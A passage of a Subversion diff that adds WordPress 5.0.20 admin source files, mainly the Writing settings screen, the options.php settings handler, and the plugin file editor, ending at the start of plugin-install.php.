+<?php _e('Convert emoticons like <code>:-)</code> and <code>:-P</code> to graphics on display') ?></label><br />
+<label for="use_balanceTags"><input name="use_balanceTags" type="checkbox" id="use_balanceTags" value="1" <?php checked('1', get_option('use_balanceTags')); ?> /> <?php _e('WordPress should correct invalidly nested XHTML automatically') ?></label>
+</fieldset></td>
+</tr>
+<?php endif; ?>
+<tr>
+<th scope="row"><label for="default_category"><?php _e('Default Post Category') ?></label></th>
+<td>
+<?php
+wp_dropdown_categories(array('hide_empty' => 0, 'name' => 'default_category', 'orderby' => 'name', 'selected' => get_option('default_category'), 'hierarchical' => true));
+?>
+</td>
+</tr>
+<?php
+$post_formats = get_post_format_strings();
+unset( $post_formats['standard'] );
+?>
+<tr>
+<th scope="row"><label for="default_post_format"><?php _e('Default Post Format') ?></label></th>
+<td>
+	<select name="default_post_format" id="default_post_format">
+		<option value="0"><?php echo get_post_format_string( 'standard' ); ?></option>
+<?php foreach ( $post_formats as $format_slug => $format_name ): ?>
+		<option<?php selected( get_option( 'default_post_format' ), $format_slug ); ?> value="<?php echo esc_attr( $format_slug ); ?>"><?php echo esc_html( $format_name ); ?></option>
+<?php endforeach; ?>
+	</select>
+</td>
+</tr>
+<?php
+if ( get_option( 'link_manager_enabled' ) ) :
+?>
+<tr>
+<th scope="row"><label for="default_link_category"><?php _e('Default Link Category') ?></label></th>
+<td>
+<?php
+wp_dropdown_categories(array('hide_empty' => 0, 'name' => 'default_link_category', 'orderby' => 'name', 'selected' => get_option('default_link_category'), 'hierarchical' => true, 'taxonomy' => 'link_category'));
+?>
+</td>
+</tr>
+<?php endif; ?>
+
+<?php
+do_settings_fields('writing', 'default');
+do_settings_fields('writing', 'remote_publishing'); // A deprecated section.
+?>
+</table>
+
+<?php
+/** This filter is documented in wp-admin/options.php */
+if ( apply_filters( 'enable_post_by_email_configuration', true ) ) {
+?>
+<h2 class="title"><?php _e( 'Post via email' ) ?></h2>
+<p><?php
+printf(
+	/* translators: 1, 2, 3: examples of random email addresses */
+	__( 'To post to WordPress by email you must set up a secret email account with POP3 access. Any mail received at this address will be posted, so it&#8217;s a good idea to keep this address very secret. Here are three random strings you could use: %1$s, %2$s, %3$s.' ),
+	sprintf( '<kbd>%s</kbd>', wp_generate_password( 8, false ) ),
+	sprintf( '<kbd>%s</kbd>', wp_generate_password( 8, false ) ),
+	sprintf( '<kbd>%s</kbd>', wp_generate_password( 8, false ) )
+);
+?></p>
+
+<table class="form-table">
+<tr>
+<th scope="row"><label for="mailserver_url"><?php _e('Mail Server') ?></label></th>
+<td><input name="mailserver_url" type="text" id="mailserver_url" value="<?php form_option('mailserver_url'); ?>" class="regular-text code" />
+<label for="mailserver_port"><?php _e('Port') ?></label>
+<input name="mailserver_port" type="text" id="mailserver_port" value="<?php form_option('mailserver_port'); ?>" class="small-text" />
+</td>
+</tr>
+<tr>
+<th scope="row"><label for="mailserver_login"><?php _e('Login Name') ?></label></th>
+<td><input name="mailserver_login" type="text" id="mailserver_login" value="<?php form_option('mailserver_login'); ?>" class="regular-text ltr" /></td>
+</tr>
+<tr>
+<th scope="row"><label for="mailserver_pass"><?php _e('Password') ?></label></th>
+<td>
+<input name="mailserver_pass" type="text" id="mailserver_pass" value="<?php form_option('mailserver_pass'); ?>" class="regular-text ltr" />
+</td>
+</tr>
+<tr>
+<th scope="row"><label for="default_email_category"><?php _e('Default Mail Category') ?></label></th>
+<td>
+<?php
+wp_dropdown_categories(array('hide_empty' => 0, 'name' => 'default_email_category', 'orderby' => 'name', 'selected' => get_option('default_email_category'), 'hierarchical' => true));
+?>
+</td>
+</tr>
+<?php do_settings_fields('writing', 'post_via_email'); ?>
+</table>
+<?php } ?>
+
+<?php
+/**
+ * Filters whether to enable the Update Services section in the Writing settings screen.
+ *
+ * @since 3.0.0
+ *
+ * @param bool $enable Whether to enable the Update Services settings area. Default true.
+ */
+if ( apply_filters( 'enable_update_services_configuration', true ) ) {
+?>
+<h2 class="title"><?php _e( 'Update Services' ) ?></h2>
+
+<?php if ( 1 == get_option('blog_public') ) : ?>
+
+	<p><label for="ping_sites"><?php
+		printf(
+			/* translators: %s: Codex URL */
+			__( 'When you publish a new post, WordPress automatically notifies the following site update services. For more about this, see <a href="%s">Update Services</a> on the Codex. Separate multiple service URLs with line breaks.' ),
+			__( 'https://codex.wordpress.org/Update_Services' )
+		);
+	?></label></p>
+
+	<textarea name="ping_sites" id="ping_sites" class="large-text code" rows="3"><?php echo esc_textarea( get_option('ping_sites') ); ?></textarea>
+
+<?php else : ?>
+
+	<p><?php
+		printf(
+			/* translators: 1: Codex URL, 2: Reading Settings URL */
+			__( 'WordPress is not notifying any <a href="%1$s">Update Services</a> because of your site&#8217;s <a href="%2$s">visibility settings</a>.' ),
+			__( 'https://codex.wordpress.org/Update_Services' ),
+			'options-reading.php'
+		);
+	?></p>
+
+<?php endif; ?>
+<?php } // enable_update_services_configuration ?>
+
+<?php do_settings_sections('writing'); ?>
+
+<?php submit_button(); ?>
+</form>
+</div>
+
+<?php include( ABSPATH . 'wp-admin/admin-footer.php' ); ?>
Index: /tags/5.0.20/src/wp-admin/options.php
===================================================================
--- /tags/5.0.20/src/wp-admin/options.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/options.php	(revision 56912)
@@ -0,0 +1,361 @@
+<?php
+/**
+ * Options Management Administration Screen.
+ *
+ * If accessed directly in a browser this page shows a list of all saved options
+ * along with editable fields for their values. Serialized data is not supported
+ * and there is no way to remove options via this page. It is not linked to from
+ * anywhere else in the admin.
+ *
+ * This file is also the target of the forms in core and custom options pages
+ * that use the Settings API. In this case it saves the new option values
+ * and returns the user to their page of origin.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/** WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+$title = __('Settings');
+$this_file = 'options.php';
+$parent_file = 'options-general.php';
+
+wp_reset_vars(array('action', 'option_page'));
+
+$capability = 'manage_options';
+
+// This is for back compat and will eventually be removed.
+if ( empty($option_page) ) {
+	$option_page = 'options';
+} else {
+
+	/**
+	 * Filters the capability required when using the Settings API.
+	 *
+	 * By default, the options groups for all registered settings require the manage_options capability.
+	 * This filter is required to change the capability required for a certain options page.
+	 *
+	 * @since 3.2.0
+	 *
+	 * @param string $capability The capability used for the page, which is manage_options by default.
+	 */
+	$capability = apply_filters( "option_page_capability_{$option_page}", $capability );
+}
+
+if ( ! current_user_can( $capability ) ) {
+	wp_die(
+		'<h1>' . __( 'You need a higher level of permission.' ) . '</h1>' .
+		'<p>' . __( 'Sorry, you are not allowed to manage these options.' ) . '</p>',
+		403
+	);
+}
+
+// Handle admin email change requests
+if ( ! empty( $_GET[ 'adminhash' ] ) ) {
+	$new_admin_details = get_option( 'adminhash' );
+	$redirect = 'options-general.php?updated=false';
+	if ( is_array( $new_admin_details ) && hash_equals( $new_admin_details[ 'hash' ], $_GET[ 'adminhash' ] ) && ! empty( $new_admin_details[ 'newemail' ] ) ) {
+		update_option( 'admin_email', $new_admin_details[ 'newemail' ] );
+		delete_option( 'adminhash' );
+		delete_option( 'new_admin_email' );
+		$redirect = 'options-general.php?updated=true';
+	}
+	wp_redirect( admin_url( $redirect ) );
+	exit;
+} elseif ( ! empty( $_GET['dismiss'] ) && 'new_admin_email' == $_GET['dismiss'] ) {
+	check_admin_referer( 'dismiss-' . get_current_blog_id() . '-new_admin_email' );
+	delete_option( 'adminhash' );
+	delete_option( 'new_admin_email' );
+	wp_redirect( admin_url( 'options-general.php?updated=true' ) );
+	exit;
+}
+
+if ( is_multisite() && ! current_user_can( 'manage_network_options' ) && 'update' != $action ) {
+	wp_die(
+		'<h1>' . __( 'You need a higher level of permission.' ) . '</h1>' .
+		'<p>' . __( 'Sorry, you are not allowed to delete these items.' ) . '</p>',
+		403
+	);
+}
+
+$whitelist_options = array(
+	'general' => array(
+		'blogname',
+		'blogdescription',
+		'gmt_offset',
+		'date_format',
+		'time_format',
+		'start_of_week',
+		'timezone_string',
+		'WPLANG',
+		'new_admin_email',
+	),
+	'discussion' => array(
+		'default_pingback_flag',
+		'default_ping_status',
+		'default_comment_status',
+		'comments_notify',
+		'moderation_notify',
+		'comment_moderation',
+		'require_name_email',
+		'comment_whitelist',
+		'comment_max_links',
+		'moderation_keys',
+		'blacklist_keys',
+		'show_avatars',
+		'avatar_rating',
+		'avatar_default',
+		'close_comments_for_old_posts',
+		'close_comments_days_old',
+		'thread_comments',
+		'thread_comments_depth',
+		'page_comments',
+		'comments_per_page',
+		'default_comments_page',
+		'comment_order',
+		'comment_registration',
+		'show_comments_cookies_opt_in',
+	),
+	'media' => array(
+		'thumbnail_size_w',
+		'thumbnail_size_h',
+		'thumbnail_crop',
+		'medium_size_w',
+		'medium_size_h',
+		'large_size_w',
+		'large_size_h',
+		'image_default_size',
+		'image_default_align',
+		'image_default_link_type',
+	),
+	'reading' => array(
+		'posts_per_page',
+		'posts_per_rss',
+		'rss_use_excerpt',
+		'show_on_front',
+		'page_on_front',
+		'page_for_posts',
+		'blog_public',
+	),
+	'writing' => array(
+		'default_category',
+		'default_email_category',
+		'default_link_category',
+		'default_post_format',
+	),
+);
+$whitelist_options['misc'] = $whitelist_options['options'] = $whitelist_options['privacy'] = array();
+
+$mail_options = array('mailserver_url', 'mailserver_port', 'mailserver_login', 'mailserver_pass');
+
+if ( ! in_array( get_option( 'blog_charset' ), array( 'utf8', 'utf-8', 'UTF8', 'UTF-8' ) ) )
+	$whitelist_options['reading'][] = 'blog_charset';
+
+if ( get_site_option( 'initial_db_version' ) < 32453 ) {
+	$whitelist_options['writing'][] = 'use_smilies';
+	$whitelist_options['writing'][] = 'use_balanceTags';
+}
+
+if ( !is_multisite() ) {
+	if ( !defined( 'WP_SITEURL' ) )
+		$whitelist_options['general'][] = 'siteurl';
+	if ( !defined( 'WP_HOME' ) )
+		$whitelist_options['general'][] = 'home';
+
+	$whitelist_options['general'][] = 'users_can_register';
+	$whitelist_options['general'][] = 'default_role';
+
+	$whitelist_options['writing'] = array_merge($whitelist_options['writing'], $mail_options);
+	$whitelist_options['writing'][] = 'ping_sites';
+
+	$whitelist_options['media'][] = 'uploads_use_yearmonth_folders';
+
+	// If upload_url_path and upload_path are both default values, they're locked.
+	if ( get_option( 'upload_url_path' ) || ( get_option('upload_path') != 'wp-content/uploads' && get_option('upload_path') ) ) {
+		$whitelist_options['media'][] = 'upload_path';
+		$whitelist_options['media'][] = 'upload_url_path';
+	}
+} else {
+	/**
+	 * Filters whether the post-by-email functionality is enabled.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param bool $enabled Whether post-by-email configuration is enabled. Default true.
+	 */
+	if ( apply_filters( 'enable_post_by_email_configuration', true ) )
+		$whitelist_options['writing'] = array_merge($whitelist_options['writing'], $mail_options);
+}
+
+/**
+ * Filters the options white list.
+ *
+ * @since 2.7.0
+ *
+ * @param array $whitelist_options White list options.
+ */
+$whitelist_options = apply_filters( 'whitelist_options', $whitelist_options );
+
+/*
+ * If $_GET['action'] == 'update' we are saving settings sent from a settings page
+ */
+if ( 'update' == $action ) {
+	if ( 'options' == $option_page && !isset( $_POST['option_page'] ) ) { // This is for back compat and will eventually be removed.
+		$unregistered = true;
+		check_admin_referer( 'update-options' );
+	} else {
+		$unregistered = false;
+		check_admin_referer( $option_page . '-options' );
+	}
+
+	if ( !isset( $whitelist_options[ $option_page ] ) )
+		wp_die( __( '<strong>ERROR</strong>: options page not found.' ) );
+
+	if ( 'options' == $option_page ) {
+		if ( is_multisite() && ! current_user_can( 'manage_network_options' ) ) {
+			wp_die( __( 'Sorry, you are not allowed to modify unregistered settings for this site.' ) );
+		}
+		$options = explode( ',', wp_unslash( $_POST[ 'page_options' ] ) );
+	} else {
+		$options = $whitelist_options[ $option_page ];
+	}
+
+	if ( 'general' == $option_page ) {
+		// Handle custom date/time formats.
+		if ( !empty($_POST['date_format']) && isset($_POST['date_format_custom']) && '\c\u\s\t\o\m' == wp_unslash( $_POST['date_format'] ) )
+			$_POST['date_format'] = $_POST['date_format_custom'];
+		if ( !empty($_POST['time_format']) && isset($_POST['time_format_custom']) && '\c\u\s\t\o\m' == wp_unslash( $_POST['time_format'] ) )
+			$_POST['time_format'] = $_POST['time_format_custom'];
+		// Map UTC+- timezones to gmt_offsets and set timezone_string to empty.
+		if ( !empty($_POST['timezone_string']) && preg_match('/^UTC[+-]/', $_POST['timezone_string']) ) {
+			$_POST['gmt_offset'] = $_POST['timezone_string'];
+			$_POST['gmt_offset'] = preg_replace('/UTC\+?/', '', $_POST['gmt_offset']);
+			$_POST['timezone_string'] = '';
+		}
+
+		// Handle translation installation.
+		if ( ! empty( $_POST['WPLANG'] ) && current_user_can( 'install_languages' ) ) {
+			require_once( ABSPATH . 'wp-admin/includes/translation-install.php' );
+
+			if ( wp_can_install_language_pack() ) {
+				$language = wp_download_language_pack( $_POST['WPLANG'] );
+				if ( $language ) {
+					$_POST['WPLANG'] = $language;
+				}
+			}
+		}
+	}
+
+	if ( $options ) {
+		$user_language_old = get_user_locale();
+
+		foreach ( $options as $option ) {
+			if ( $unregistered ) {
+				_deprecated_argument( 'options.php', '2.7.0',
+					sprintf(
+						/* translators: %s: the option/setting */
+						__( 'The %s setting is unregistered. Unregistered settings are deprecated. See https://codex.wordpress.org/Settings_API' ),
+						'<code>' . $option . '</code>'
+					)
+				);
+			}
+
+			$option = trim( $option );
+			$value = null;
+			if ( isset( $_POST[ $option ] ) ) {
+				$value = $_POST[ $option ];
+				if ( ! is_array( $value ) ) {
+					$value = trim( $value );
+				}
+				$value = wp_unslash( $value );
+			}
+			update_option( $option, $value );
+		}
+
+		/*
+		 * Switch translation in case WPLANG was changed.
+		 * The global $locale is used in get_locale() which is
+		 * used as a fallback in get_user_locale().
+		 */
+		unset( $GLOBALS['locale'] );
+		$user_language_new = get_user_locale();
+		if ( $user_language_old !== $user_language_new  ) {
+			load_default_textdomain( $user_language_new );
+		}
+	}
+
+	/**
+	 * Handle settings errors and return to options page
+	 */
+	// If no settings errors were registered add a general 'updated' message.
+	if ( !count( get_settings_errors() ) )
+		add_settings_error('general', 'settings_updated', __('Settings saved.'), 'updated');
+	set_transient('settings_errors', get_settings_errors(), 30);
+
+	/**
+	 * Redirect back to the settings page that was submitted
+	 */
+	$goback = add_query_arg( 'settings-updated', 'true',  wp_get_referer() );
+	wp_redirect( $goback );
+	exit;
+}
+
+include( ABSPATH . 'wp-admin/admin-header.php' ); ?>
+
+<div class="wrap">
+  <h1><?php esc_html_e( 'All Settings' ); ?></h1>
+  <form name="form" action="options.php" method="post" id="all-options">
+  <?php wp_nonce_field('options-options') ?>
+  <input type="hidden" name="action" value="update" />
+  <input type="hidden" name="option_page" value="options" />
+  <table class="form-table">
+<?php
+$options = $wpdb->get_results( "SELECT * FROM $wpdb->options ORDER BY option_name" );
+
+foreach ( (array) $options as $option ) :
+	$disabled = false;
+	if ( $option->option_name == '' )
+		continue;
+	if ( is_serialized( $option->option_value ) ) {
+		if ( is_serialized_string( $option->option_value ) ) {
+			// This is a serialized string, so we should display it.
+			$value = maybe_unserialize( $option->option_value );
+			$options_to_update[] = $option->option_name;
+			$class = 'all-options';
+		} else {
+			$value = 'SERIALIZED DATA';
+			$disabled = true;
+			$class = 'all-options disabled';
+		}
+	} else {
+		$value = $option->option_value;
+		$options_to_update[] = $option->option_name;
+		$class = 'all-options';
+	}
+	$name = esc_attr( $option->option_name );
+	?>
+<tr>
+	<th scope="row"><label for="<?php echo $name ?>"><?php echo esc_html( $option->option_name ); ?></label></th>
+<td>
+<?php if ( strpos( $value, "\n" ) !== false ) : ?>
+	<textarea class="<?php echo $class ?>" name="<?php echo $name ?>" id="<?php echo $name ?>" cols="30" rows="5"><?php
+		echo esc_textarea( $value );
+	?></textarea>
+	<?php else: ?>
+		<input class="regular-text <?php echo $class ?>" type="text" name="<?php echo $name ?>" id="<?php echo $name ?>" value="<?php echo esc_attr( $value ) ?>"<?php disabled( $disabled, true ) ?> />
+	<?php endif ?></td>
+</tr>
+<?php endforeach; ?>
+  </table>
+
+<input type="hidden" name="page_options" value="<?php echo esc_attr( implode( ',', $options_to_update ) ); ?>" />
+
+<?php submit_button( __( 'Save Changes' ), 'primary', 'Update' ); ?>
+
+  </form>
+</div>
+
+<?php
+include( ABSPATH . 'wp-admin/admin-footer.php' );
Index: /tags/5.0.20/src/wp-admin/plugin-editor.php
===================================================================
--- /tags/5.0.20/src/wp-admin/plugin-editor.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/plugin-editor.php	(revision 56912)
@@ -0,0 +1,314 @@
+<?php
+/**
+ * Edit plugin editor administration panel.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/** WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+if ( is_multisite() && ! is_network_admin() ) {
+	wp_redirect( network_admin_url( 'plugin-editor.php' ) );
+	exit();
+}
+
+if ( !current_user_can('edit_plugins') )
+	wp_die( __('Sorry, you are not allowed to edit plugins for this site.') );
+
+$title = __("Edit Plugins");
+$parent_file = 'plugins.php';
+
+$plugins = get_plugins();
+
+if ( empty( $plugins ) ) {
+	include( ABSPATH . 'wp-admin/admin-header.php' );
+	?>
+	<div class="wrap">
+		<h1><?php echo esc_html( $title ); ?></h1>
+		<div id="message" class="error"><p><?php _e( 'You do not appear to have any plugins available at this time.' ); ?></p></div>
+	</div>
+	<?php
+	include( ABSPATH . 'wp-admin/admin-footer.php' );
+	exit;
+}
+
+$file = '';
+$plugin = '';
+if ( isset( $_REQUEST['file'] ) ) {
+	$file = wp_unslash( $_REQUEST['file'] );
+}
+
+if ( isset( $_REQUEST['plugin'] ) ) {
+	$plugin = wp_unslash( $_REQUEST['plugin'] );
+}
+
+if ( empty( $plugin ) ) {
+	if ( $file ) {
+
+		// Locate the plugin for a given plugin file being edited.
+		$file_dirname = dirname( $file );
+		foreach ( array_keys( $plugins ) as $plugin_candidate ) {
+			if ( $plugin_candidate === $file || ( '.' !== $file_dirname && dirname( $plugin_candidate ) === $file_dirname ) ) {
+				$plugin = $plugin_candidate;
+				break;
+			}
+		}
+
+		// Fallback to the file as the plugin.
+		if ( empty( $plugin ) ) {
+			$plugin = $file;
+		}
+	} else {
+		$plugin = array_keys( $plugins );
+		$plugin = $plugin[0];
+	}
+}
+
+$plugin_files = get_plugin_files($plugin);
+
+if ( empty( $file ) ) {
+	$file = $plugin_files[0];
+}
+
+$file = validate_file_to_edit($file, $plugin_files);
+$real_file = WP_PLUGIN_DIR . '/' . $file;
+
+// Handle fallback editing of file when JavaScript is not available.
+$edit_error = null;
+$posted_content = null;
+if ( 'POST' === $_SERVER['REQUEST_METHOD'] ) {
+	$r = wp_edit_theme_plugin_file( wp_unslash( $_POST ) );
+	if ( is_wp_error( $r ) ) {
+		$edit_error = $r;
+		if ( check_ajax_referer( 'edit-plugin_' . $file, 'nonce', false ) && isset( $_POST['newcontent'] ) ) {
+			$posted_content = wp_unslash( $_POST['newcontent'] );
+		}
+	} else {
+		wp_redirect( add_query_arg(
+			array(
+				'a' => 1, // This means "success" for some reason.
+				'plugin' => $plugin,
+				'file' => $file,
+			),
+			admin_url( 'plugin-editor.php' )
+		) );
+		exit;
+	}
+}
+
+	// List of allowable extensions
+	$editable_extensions = wp_get_plugin_file_editable_extensions( $plugin );
+
+	if ( ! is_file($real_file) ) {
+		wp_die(sprintf('<p>%s</p>', __('No such file exists! Double check the name and try again.')));
+	} else {
+		// Get the extension of the file
+		if ( preg_match('/\.([^.]+)$/', $real_file, $matches) ) {
+			$ext = strtolower($matches[1]);
+			// If extension is not in the acceptable list, skip it
+			if ( !in_array( $ext, $editable_extensions) )
+				wp_die(sprintf('<p>%s</p>', __('Files of this type are not editable.')));
+		}
+	}
+
+	get_current_screen()->add_help_tab( array(
+	'id'		=> 'overview',
+	'title'		=> __('Overview'),
+	'content'	=>
+		'<p>' . __('You can use the editor to make changes to any of your plugins&#8217; individual PHP files. Be aware that if you make changes, plugins updates will overwrite your customizations.') . '</p>' .
+		'<p>' . __('Choose a plugin to edit from the dropdown menu and click the Select button. Click once on any file name to load it in the editor, and make your changes. Don&#8217;t forget to save your changes (Update File) when you&#8217;re finished.') . '</p>' .
+		'<p>' . __('The Documentation menu below the editor lists the PHP functions recognized in the plugin file. Clicking Look Up takes you to a web page about that particular function.') . '</p>' .
+		'<p id="editor-keyboard-trap-help-1">' . __( 'When using a keyboard to navigate:' ) . '</p>' .
+		'<ul>' .
+		'<li id="editor-keyboard-trap-help-2">' . __( 'In the editing area, the Tab key enters a tab character.' ) . '</li>' .
+		'<li id="editor-keyboard-trap-help-3">' . __( 'To move away from this area, press the Esc key followed by the Tab key.' ) . '</li>' .
+		'<li id="editor-keyboard-trap-help-4">' . __( 'Screen reader users: when in forms mode, you may need to press the Esc key twice.' ) . '</li>' .
+		'</ul>' .
+		'<p>' . __('If you want to make changes but don&#8217;t want them to be overwritten when the plugin is updated, you may be ready to think about writing your own plugin. For information on how to edit plugins, write your own from scratch, or just better understand their anatomy, check out the links below.') . '</p>' .
+		( is_network_admin() ? '<p>' . __('Any edits to files from this screen will be reflected on all sites in the network.') . '</p>' : '' )
+	) );
+
+	get_current_screen()->set_help_sidebar(
+		'<p><strong>' . __('For more information:') . '</strong></p>' .
+		'<p>' . __('<a href="https://codex.wordpress.org/Plugins_Editor_Screen">Documentation on Editing Plugins</a>') . '</p>' .
+		'<p>' . __('<a href="https://codex.wordpress.org/Writing_a_Plugin">Documentation on Writing Plugins</a>') . '</p>' .
+		'<p>' . __('<a href="https://wordpress.org/support/">Support Forums</a>') . '</p>'
+	);
+
+	$settings = array(
+		'codeEditor' => wp_enqueue_code_editor( array( 'file' => $real_file ) ),
+	);
+	wp_enqueue_script( 'wp-theme-plugin-editor' );
+	wp_add_inline_script( 'wp-theme-plugin-editor', sprintf( 'jQuery( function( $ ) { wp.themePluginEditor.init( $( "#template" ), %s ); } )', wp_json_encode( $settings ) ) );
+	wp_add_inline_script( 'wp-theme-plugin-editor', sprintf( 'wp.themePluginEditor.themeOrPlugin = "plugin";' ) );
+
+	require_once(ABSPATH . 'wp-admin/admin-header.php');
+
+	update_recently_edited(WP_PLUGIN_DIR . '/' . $file);
+
+	if ( ! empty( $posted_content ) ) {
+		$content = $posted_content;
+	} else {
+		$content = file_get_contents( $real_file );
+	}
+
+	if ( '.php' == substr( $real_file, strrpos( $real_file, '.' ) ) ) {
+		$functions = wp_doc_link_parse( $content );
+
+		if ( !empty($functions) ) {
+			$docs_select = '<select name="docs-list" id="docs-list">';
+			$docs_select .= '<option value="">' . __( 'Function Name&hellip;' ) . '</option>';
+			foreach ( $functions as $function) {
+				$docs_select .= '<option value="' . esc_attr( $function ) . '">' . esc_html( $function ) . '()</option>';
+			}
+			$docs_select .= '</select>';
+		}
+	}
+
+	$content = esc_textarea( $content );
+	?>
+<div class="wrap">
+<h1><?php echo esc_html( $title ); ?></h1>
+
+<?php if ( isset( $_GET['a'] ) ) : ?>
+	<div id="message" class="updated notice is-dismissible">
+		<p><?php _e( 'File edited successfully.' ); ?></p>
+	</div>
+<?php elseif ( is_wp_error( $edit_error ) ) : ?>
+	<div id="message" class="notice notice-error">
+		<p><?php _e( 'There was an error while trying to update the file. You may need to fix something and try updating again.' ); ?></p>
+		<pre><?php echo esc_html( $edit_error->get_error_message() ? $edit_error->get_error_message() : $edit_error->get_error_code() ); ?></pre>
+	</div>
+<?php endif; ?>
+
+<div class="fileedit-sub">
+<div class="alignleft">
+<h2>
+	<?php
+	if ( is_plugin_active( $plugin ) ) {
+		if ( is_writeable( $real_file ) ) {
+			/* translators: %s: plugin file name */
+			echo sprintf( __( 'Editing %s (active)' ), '<strong>' . esc_html( $file ) . '</strong>' );
+		} else {
+			/* translators: %s: plugin file name */
+			echo sprintf( __( 'Browsing %s (active)' ), '<strong>' . esc_html( $file ) . '</strong>' );
+		}
+	} else {
+		if ( is_writeable( $real_file ) ) {
+			/* translators: %s: plugin file name */
+			echo sprintf( __( 'Editing %s (inactive)' ), '<strong>' . esc_html( $file ) . '</strong>' );
+		} else {
+			/* translators: %s: plugin file name */
+			echo sprintf( __( 'Browsing %s (inactive)' ), '<strong>' . esc_html( $file ) . '</strong>' );
+		}
+	}
+	?>
+</h2>
+</div>
+<div class="alignright">
+	<form action="plugin-editor.php" method="get">
+		<strong><label for="plugin"><?php _e('Select plugin to edit:'); ?> </label></strong>
+		<select name="plugin" id="plugin">
+<?php
+	foreach ( $plugins as $plugin_key => $a_plugin ) {
+		$plugin_name = $a_plugin['Name'];
+		if ( $plugin_key == $plugin )
+			$selected = " selected='selected'";
+		else
+			$selected = '';
+		$plugin_name = esc_attr($plugin_name);
+		$plugin_key = esc_attr($plugin_key);
+		echo "\n\t<option value=\"$plugin_key\" $selected>$plugin_name</option>";
+	}
+?>
+		</select>
+		<?php submit_button( __( 'Select' ), '', 'Submit', false ); ?>
+	</form>
+</div>
+<br class="clear" />
+</div>
+
+<div id="templateside">
+	<h2 id="plugin-files-label"><?php _e( 'Plugin Files' ); ?></h2>
+
+	<?php
+	$plugin_editable_files = array();
+	foreach ( $plugin_files as $plugin_file ) {
+		if ( preg_match('/\.([^.]+)$/', $plugin_file, $matches ) && in_array( $matches[1], $editable_extensions ) ) {
+			$plugin_editable_files[] = $plugin_file;
+		}
+	}
+	?>
+	<ul role="tree" aria-labelledby="plugin-files-label">
+	<li role="treeitem" tabindex="-1" aria-expanded="true" aria-level="1" aria-posinset="1" aria-setsize="1">
+		<ul role="group">
+			<?php wp_print_plugin_file_tree( wp_make_plugin_file_tree( $plugin_editable_files ) ); ?>
+		</ul>
+	</ul>
+</div>
+<form name="template" id="template" action="plugin-editor.php" method="post">
+	<?php wp_nonce_field( 'edit-plugin_' . $file, 'nonce' ); ?>
+		<div>
+			<label for="newcontent" id="theme-plugin-editor-label"><?php _e( 'Selected file content:' ); ?></label>
+			<textarea cols="70" rows="25" name="newcontent" id="newcontent" aria-describedby="editor-keyboard-trap-help-1 editor-keyboard-trap-help-2 editor-keyboard-trap-help-3 editor-keyboard-trap-help-4"><?php echo $content; ?></textarea>
+			<input type="hidden" name="action" value="update" />
+			<input type="hidden" name="file" value="<?php echo esc_attr( $file ); ?>" />
+			<input type="hidden" name="plugin" value="<?php echo esc_attr( $plugin ); ?>" />
+		</div>
+		<?php if ( !empty( $docs_select ) ) : ?>
+		<div id="documentation" class="hide-if-no-js"><label for="docs-list"><?php _e('Documentation:') ?></label> <?php echo $docs_select ?> <input type="button" class="button" value="<?php esc_attr_e( 'Look Up' ) ?> " onclick="if ( '' != jQuery('#docs-list').val() ) { window.open( 'https://api.wordpress.org/core/handbook/1.0/?function=' + escape( jQuery( '#docs-list' ).val() ) + '&amp;locale=<?php echo urlencode( get_user_locale() ) ?>&amp;version=<?php echo urlencode( get_bloginfo( 'version' ) ) ?>&amp;redirect=true'); }" /></div>
+		<?php endif; ?>
+<?php if ( is_writeable($real_file) ) : ?>
+	<div class="editor-notices">
+		<?php if ( in_array( $plugin, (array) get_option( 'active_plugins', array() ) ) ) { ?>
+			<div class="notice notice-warning inline active-plugin-edit-warning">
+			<p><?php _e('<strong>Warning:</strong> Making changes to active plugins is not recommended.'); ?></p>
+		</div>
+		<?php } ?>
+	</div>
+	<p class="submit">
+		<?php submit_button( __( 'Update File' ), 'primary', 'submit', false ); ?>
+		<span class="spinner"></span>
+	</p>
+<?php else : ?>
+	<p><em><?php _e('You need to make this file writable before you can save your changes. See <a href="https://codex.wordpress.org/Changing_File_Permissions">the Codex</a> for more information.'); ?></em></p>
+<?php endif; ?>
+<?php wp_print_file_editor_templates(); ?>
+</form>
+<br class="clear" />
+</div>
+<?php
+$dismissed_pointers = explode( ',', (string) get_user_meta( get_current_user_id(), 'dismissed_wp_pointers', true ) );
+if ( ! in_array( 'plugin_editor_notice', $dismissed_pointers, true ) ) :
+	// Get a back URL
+	$referer = wp_get_referer();
+	$excluded_referer_basenames = array( 'plugin-editor.php', 'wp-login.php' );
+
+	if ( $referer && ! in_array( basename( parse_url( $referer, PHP_URL_PATH ) ), $excluded_referer_basenames, true ) ) {
+		$return_url = $referer;
+	} else {
+		$return_url = admin_url( '/' );
+	}
+?>
+<div id="file-editor-warning" class="notification-dialog-wrap file-editor-warning hide-if-no-js hidden">
+	<div class="notification-dialog-background"></div>
+	<div class="notification-dialog">
+		<div class="file-editor-warning-content">
+			<div class="file-editor-warning-message">
+				<h1><?php _e( 'Heads up!' ); ?></h1>
+				<p><?php _e( 'You appear to be making direct edits to your plugin in the WordPress dashboard. We recommend that you don&#8217;t! Editing plugins directly may introduce incompatibilities that break your site and your changes may be lost in future updates.' ); ?></p>
+				<p><?php _e( 'If you absolutely have to make direct edits to this plugin, use a file manager to create a copy with a new name and hang on to the original. That way, you can re-enable a functional version if something goes wrong.' ); ?></p>
+			</div>
+			<p>
+				<a class="button file-editor-warning-go-back" href="<?php echo esc_url( $return_url ); ?>"><?php _e( 'Go back' ); ?></a>
+				<button type="button" class="file-editor-warning-dismiss button button-primary"><?php _e( 'I understand' ); ?></button>
+			</p>
+		</div>
+	</div>
+</div>
+<?php
+endif; // editor warning notice
+
+include(ABSPATH . "wp-admin/admin-footer.php");
Index: /tags/5.0.20/src/wp-admin/plugin-install.php
===================================================================
--- /tags/5.0.20/src/wp-admin/plugin-install.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/plugin-install.php	(revision 56912)
@@ -0,0 +1,170 @@
+<?php
+/**
+ * Install plugin administration panel.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+// TODO route this pages via a specific iframe handler instead of the do_action below
